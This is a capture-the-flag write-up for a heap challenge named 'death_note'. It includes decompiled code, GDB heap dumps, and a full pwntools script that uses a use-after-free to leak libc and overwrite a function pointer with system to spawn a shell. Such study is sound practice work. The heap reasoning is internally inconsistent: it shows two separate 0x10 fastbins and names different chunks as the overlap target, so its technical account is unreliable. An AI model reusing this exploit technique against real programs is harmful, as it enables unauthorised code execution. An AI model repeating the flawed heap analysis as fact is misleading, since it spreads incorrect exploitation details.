Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10201 |
| Binary | death_note (32-bit ELF, i386) |
| Points | 250 |
| Description | A note-taking application with heap vulnerabilities |
checksec
$ checksec death_note
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries if needed |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP or function pointers |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
print_func stub. NX enabled forces us to use existing code paths (function pointers / ROP) rather than injecting shellcode. The canary prevents trivial stack smashing, but our attack targets the heap, not the stack.
Running the Binary
$ ./death_note
----------------------
Death Note
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
Death Note
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
AAAA
The binary presents a simple note manager with add, delete, and print operations. The interface looks benign, but beneath the surface lies a critical memory safety bug.
Static Analysis
Note Structure
Each note is represented by an 8-byte struct allocated on the heap:
struct note {
void (*print_func)(struct note *); // +0x00: function pointer (4 bytes)
char *content; // +0x04: pointer to content buffer (4 bytes)
};
print_func is set to a binary-defined stub that calls puts(note->content). If we can overwrite print_func with system, we hijack control flow. Since print_func is called as note->print_func(note), the note struct pointer itself becomes the first argument — which system() interprets as a command string.
add_note()
void add_note() {
if (counter < 6) {
i = 0;
while (i < 5) {
if (notes_list[i] == NULL) {
note = malloc(8); // Allocate 8-byte struct
notes_list[i] = note;
notes_list[i]->print_func = 0x804862b; // Set default print stub
printf("Note size :");
read(0, note_size, 8);
size = atoi(note_size);
contents = malloc(size); // Allocate content buffer
notes_list[i]->content = contents;
printf("Content :");
read(0, notes_list[i]->content, size);
puts("Success !");
counter++;
break;
}
i++;
}
}
}
The add_note function performs two heap allocations per note: one for the 8-byte struct and one for the user-specified content buffer. A maximum of 5 notes can be created. The user controls both the size of the content buffer and the data written into it.
delete_note()
void delete_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (notes_list[index] != NULL) {
free(notes_list[index]->content); // Free content buffer
free(notes_list[index]); // Free note struct
// BUG: notes_list[index] is NOT set to NULL!
puts("Success");
}
}
delete_note does NOT set notes_list[index] to NULL. This creates multiple attack primitives:• Use-After-Free: The dangling pointer remains in
notes_list; print_note will still dereference it• Double Free: We can call
delete_note on the same index again, freeing already-freed memory• Heap Overlap: New allocations can reclaim freed chunks, letting us overwrite the old struct's fields (including
print_func)
print_note()
void print_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (notes_list[index] != NULL) {
// Calls through the function pointer!
(*notes_list[index]->print_func)(notes_list[index]);
}
}
// The default print function at 0x804862b:
void print_func(char **param_1) {
puts(param_1[1]); // prints note->content
}
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This is the key to our entire exploit:• If we overwrite
print_func with system, it will call system(note_ptr)• The memory at
note_ptr is interpreted as a command string• Since the first 4 bytes are the function pointer value (garbage as a command), we embed
;sh; after it — the semicolon acts as a shell command separator
GDB Debugging
Heap Layout After Adding Notes
Let's create two small notes and examine the heap layout:
gdb-peda$ # add_note(8, "AAAA") -> note 0
gdb-peda$ # add_note(8, "BBBB") -> note 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes [note 0 struct]
0x0804a010: fastbin 0x10 bytes [note 0 content "AAAA"]
0x0804a020: fastbin 0x10 bytes [note 1 struct]
0x0804a030: fastbin 0x10 bytes [note 1 content "BBBB"]
Fastbin Free Order (LIFO)
When we free note 1 and then note 0:
gdb-peda$ # delete_note(1) then delete_note(0)
gdb-peda$ heapinfo
(0x10) fastbin: 0x0804a000 -> 0x0804a020 -> 0x0
(0x10) fastbin: 0x0804a010 -> 0x0804a030 -> 0x0
# 0x10 fastbin contains note structs (LIFO: note0 struct, then note1 struct)
# Another 0x10 fastbin contains content buffers (LIFO: note0 content, then note1 content)
malloc returns the most recently freed chunk (LIFO). By carefully controlling allocation sizes, we can make a content buffer overlap with a freed note struct.
Overwriting the Freed Note Struct
After freeing both notes, the fastbin for 0x10 chunks looks like:
When we allocate add_note(8, payload), the 8-byte struct comes from the fastbin head (gets 0x0804a000, the note0 struct), and the 8-byte content buffer also comes from the 0x10 fastbin — which now returns 0x0804a020, the old note1 struct! We can now overwrite note1's fields through the content of the new note.
Verifying with GDB
gdb-peda$ x/2wx 0x0804a020
0x0804a020: 0x0804862b 0x0804a028
# ^print_func ^content = puts@GOT
gdb-peda$ x/1wx 0x0804a028
0x0804a028: 0xf7e6d420
# ^ this is puts() address in libc!
gdb-peda$ # When print_note(1) is called:
gdb-peda$ # note->print_func(note) = 0x804862b(note)
gdb-peda$ # Inside print_func: puts(param_1[1])
gdb-peda$ # param_1 = note pointer = 0x0804a020
gdb-peda$ # param_1[1] = *(0x0804a020 + 4) = 0x0804a028
gdb-peda$ # puts(0x0804a028) reads string at GOT address
Confirming the Double Free
Since delete_note does not NULL out the pointer, we can delete the same note twice:
gdb-peda$ # delete_note(0) -- first time
gdb-peda$ heapinfo
(0x10) fastbin: 0x0804a000 -> 0x0
# note0 struct is now in the fastbin
gdb-peda$ # delete_note(0) -- second time! (double free)
gdb-peda$ heapinfo
(0x10) fastbin: 0x0804a000 -> 0x0804a000 -> 0x0
# ^ CIRCULAR! The chunk points to itself in the fastbin!
gdb-peda$ # Now malloc(8) will return 0x0804a000 twice
gdb-peda$ # This lets us get two pointers to the same chunk
gdb-peda$ # One becomes the struct, one becomes the content
print_func at 0x804862b does puts(param_1[1]), which treats the second field of the struct as a string pointer and prints what it points to. By setting content to puts@GOT, we make it print the GOT entry for puts — which contains the actual libc address of puts. This gives us a reliable libc leak!
Exploit Strategy
Overview
The exploit is a classic UAF + function pointer overwrite in two phases: first we leak libc via the GOT read technique, then we hijack control flow by overwriting the function pointer with system.
Phase 1: Leak Libc via GOT Read
- Create two small notes (size 8 each) — note 0 and note 1. Both struct chunks (8 data bytes + 8 header = 0x10) and content chunks (same size) go into the same 0x10 fastbin when freed. This size alignment is critical for the overlap.
- Free note 0, then note 1. The fastbin 0x10 now has:
note1_struct → note0_struct → NULL. The content fastbin similarly chains the freed content buffers. - Allocate note with size 8 (note 2). The 8-byte struct is allocated from the 0x10 fastbin head (gets the old note1 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — it gets the old note0 struct address. We write
p32(0x804862b) + p32(puts@GOT)as content. This overwrites the old note0 struct with our controlled data. - Call print_note(0). Since
notes_list[0]still points to the freed note0 struct (which is now our controlled data), it calls0x804862b(note0_ptr). Inside,puts(note->content)dereferences thecontentfield which is nowputs@GOT. This prints the libc address ofputs. - Calculate libc base:
libc_base = leaked_puts - libc.symbols['puts']
Phase 2: Hijack Control Flow with system()
- Free note 2 (the one whose content overlaps the old note0 struct). This puts the note0 struct address back into the fastbin.
- Allocate a new note with size 8 and content
p32(system_addr) + ";sh;". The struct allocation and content allocation pull from the fastbin, and the content lands on the old note0 struct again. This time we overwrite the note0 struct withprint_func = systemandcontent = ";sh;". - Call print_note(0). Now
notes_list[0]->print_funcissystem. It callssystem(note0_ptr). The argument is the note struct pointer itself, and the data starting at that address isp32(system_addr) + ";sh;". Thesystem()function tries to execute this as a command. The first 4 bytes (system_addrin little-endian) are garbage, but;sh;acts as a command separator —systemtreats;as a command delimiter, so it runssh!
system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:• Try to execute the garbage bytes (fails silently)
• Execute
sh (gives us a shell!)• The trailing
; handles any remaining garbageAlternative:
||sh also works (OR operator, runs sh if first command fails).
Visual Exploit Flow
Why This Works Despite Protections
| Canary | Doesn't protect the heap — our attack is entirely heap-based |
| NX | We don't inject shellcode — we call existing system() from libc |
| Partial RELRO | We read GOT entries to leak libc, but don't need to write to GOT |
| No PIE | Binary addresses are known — we know puts@GOT and the print stub address |
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
Death Note - pwnable.tw (250pts)
Use-After-Free exploit to leak libc via GOT read,
then overwrite print_func with system for shell.
Vulnerability: delete_note() frees note struct but doesn't
NULL out the pointer in notes_list, creating a UAF.
The dangling pointer allows us to reclaim the freed chunk
with controlled data and overwrite the function pointer.
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10201)
libc = ELF('./libc_32.so.6')
elf = ELF('./death_note')
# Constants
ADDR_PRINT_FUNC = 0x804862b # Default print function stub
ADDR_PUTS_GOT = elf.got['puts'] # GOT entry for puts
# Helper functions
def add_note(size, content):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', content)
def delete_note(idx):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
def print_note(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
# ============================================
# Phase 1: Leak libc address via GOT read
# ============================================
log.info("Phase 1: Leaking libc address...")
# Create two notes with same-size content (8 bytes)
# Both note struct (8 bytes) and content (8 bytes) go
# into the 0x10 fastbin when freed.
add_note(8, b'a' * 2) # note 0
add_note(8, b'a' * 2) # note 1
# Free both notes to populate the fastbin
# Fastbin 0x10: note1_struct -> note0_struct -> NULL
# (content chunks also go to fastbin)
delete_note(0)
delete_note(1)
# Allocate note with size 8 (note 2)
# - Struct (8 bytes) comes from 0x10 fastbin head
# - Content (8 bytes) also comes from 0x10 fastbin
# The content buffer overlaps with the old note0 struct!
# We write: p32(print_func) + p32(puts@GOT)
# This makes note0->print_func = print stub (still valid)
# note0->content = puts@GOT (will leak libc)
payload_leak = p32(ADDR_PRINT_FUNC) + p32(ADDR_PUTS_GOT)
add_note(8, payload_leak) # note 2
# Call print_note(0) to leak puts@libc
# notes_list[0] still points to the old note0 struct
# The struct now has: print_func = 0x804862b, content = puts@GOT
# print_func does: puts(note->content) = puts(*puts@GOT) = puts(puts@libc)
print_note(0)
# Receive the leaked libc address
r.recvuntil(b'\n') # skip any leading newline
leaked = r.recv(4) # receive 4 bytes of puts address
puts_addr = u32(leaked.ljust(4, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success(f"puts @ {hex(puts_addr)}")
log.success(f"libc base @ {hex(libc_base)}")
log.success(f"system @ {hex(system_addr)}")
# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Overwriting print_func with system...")
# Free note 2 to put the note0 struct chunk back in fastbin
delete_note(2)
# Allocate a new note with size 8
# The content buffer will again overlap with note0 struct
# This time we write: p32(system) + ";sh;"
# This makes note0->print_func = system
# note0->content = ";sh;"
# When print_note(0) is called:
# system(note0_ptr) is called
# The bytes at note0_ptr are: [system_addr_le][;sh;\x00]
# system() interprets this as: ";sh;"
# The semicolon separates commands, so sh gets executed!
payload_shell = p32(system_addr) + b';sh;'
add_note(8, payload_shell) # note 3 (content overlaps note0 struct)
# Trigger the exploit!
print_note(0)
# We should have a shell now
log.success("Enjoy your shell!")
r.interactive()
Exploit Breakdown
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/pwnable/death_note/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/pwnable/death_note/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10201: Done
[*] Phase 1: Leaking libc address...
[*] Phase 2: Overwriting print_func with system...
[+] puts @ 0xf7e6d420
[+] libc base @ 0xf7e00000
[+] system @ 0xf7e3d940
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=1000(death_note) gid=1000(death_note) groups=1000(death_note)
$ cat /home/death_note/flag
Exploit Timeline
• UAF to maintain a dangling pointer after free
• Fastbin size alignment (both struct and content are 0x10 chunks) to create heap overlap
• GOT read to leak the libc base address
• Function pointer overwrite to redirect execution to
system()• The ";sh;" trick to bypass the garbage bytes in the command string
Lessons Learned
This challenge demonstrates several important concepts in heap exploitation:
1. Always NULL Out Freed Pointers
The root cause of this vulnerability is a missing notes_list[index] = NULL after free(). This is a textbook CWE-416 (Use-After-Free). The fix is trivial but the consequences are severe.
2. Fastbin Size Alignment Matters
The exploit works because the 8-byte note struct and the 8-byte content buffer produce the same malloc chunk size (0x10). This causes them to share the same fastbin, enabling the overlap. If the struct were a different size, the attack would not work in this form.
3. Function Pointers Are Dangerous Without Vtable Validation
The note struct stores a raw function pointer that is called without any validation. In modern C++, virtual tables provide some level of type safety, but in C, any function pointer can be overwritten if the memory is corrupted. This is a fundamental attack surface in object-oriented C programs.
4. The ";sh;" Pattern
When system() is called with a pointer to memory you partially control, the semicolon trick is a reliable way to inject a shell command. The garbage bytes before the semicolon will fail, but sh will execute successfully. This is a widely applicable pattern in CTF pwn challenges.